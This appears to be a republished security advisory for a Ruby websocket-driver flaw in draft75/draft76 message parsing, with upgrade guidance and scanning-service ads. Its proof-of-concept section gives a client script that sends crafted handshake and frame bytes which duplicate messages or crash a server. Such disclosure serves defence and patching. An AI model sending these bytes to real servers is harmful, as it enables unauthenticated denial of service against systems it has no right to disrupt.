websocket-driver: Message corruption and denial of service triggered by crafted client message
Published 1 Dec 2026 · Updated 1 Dec 2026
Affected package
- Affected
- <0.9.0
- Fixed in
- 0.9.0
bundle update --conservative websocket-driver # Gemfile: '>= 0.9.0'Which websocket-driver does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads Gemfile.
Public repo?
Look after several Rails or Ruby apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Summary
An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.
To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allow_drafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
require 'eventmachine'
require 'websocket/driver'
module Connection
def initialize
@driver = WebSocket::Driver.server(self)
@driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env }
@driver.on(:close) { |ev| close_connection_after_writing }
@driver.on(:message) { |ev| p [:msg, ev.data] }
end
def receive_data(data)
@driver.parse(data)
end
def write(data)
send_data(data)
end
end
EM.run {
EM.start_server('127.0.0.1', 8000, Connection)
}A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:
require 'eventmachine'
require 'uri'
module Connection
def connection_completed
send_data [
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'', ''
].join("\r\n")
send_data [0x00, 0x48, 0x69, 0xff].pack('C*')
send_data [0x80, 0x01, 0xff].pack('C*')
end
end
EM.run {
url = 'ws://127.0.0.1:8000/'
uri = URI.parse(url)
EM.connect(uri.host, uri.port, Connection)
}This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.
After upgrading to a patched version, both these situations are handled correctly if allow_drafts: true is set. If it is not set then the connection is rejected as a bad request.
Impact
Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
Is GHSA-pf93-24xc-xgxc in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected websocket-driver, and gives you the command that fixes it.
More advisories for websocket-driver
- HighCVE-2026-140011permessage-deflate-ruby: Memory exhaustion triggered by message decompression · 1 Dec 2026
- HighCVE-2026-61666websocket-driver-ruby: Denial of service via malformed Host header · 21 Jul 2026
- MediumCVE-2026-54465websocket-driver: Memory exhaustion in HTTP header parser · 15 Jul 2026
- MediumCVE-2026-54464websocket-driver: Resource limit bypass via message compression · 15 Jul 2026
- MediumCVE-2026-54463websocket-driver: Memory exhaustion via abuse of protocol length headers · 15 Jul 2026
References
- Linkgithub.com/faye/websocket-driver-ruby/security/advisories/GHSA-pf93-24xc-xgxc
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-140016
- Linkgithub.com/faye/websocket-driver-ruby/commit/20603e3dc87f11ab91c9519f625d9b3bdc1e6b7f
- Linkgithub.com/faye/websocket-driver-ruby/commit/d2152940fae66b9093db93256db7ebff0b70247e
- Packagegithub.com/faye/websocket-driver-ruby
- Linkgithub.com/faye/websocket-driver-ruby/releases/tag/0.9.0
- Linkgithub.com/rubysec/ruby-advisory-db/blob/master/gems/websocket-driver/GHSA-pf93-24xc-xgxc.yml
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.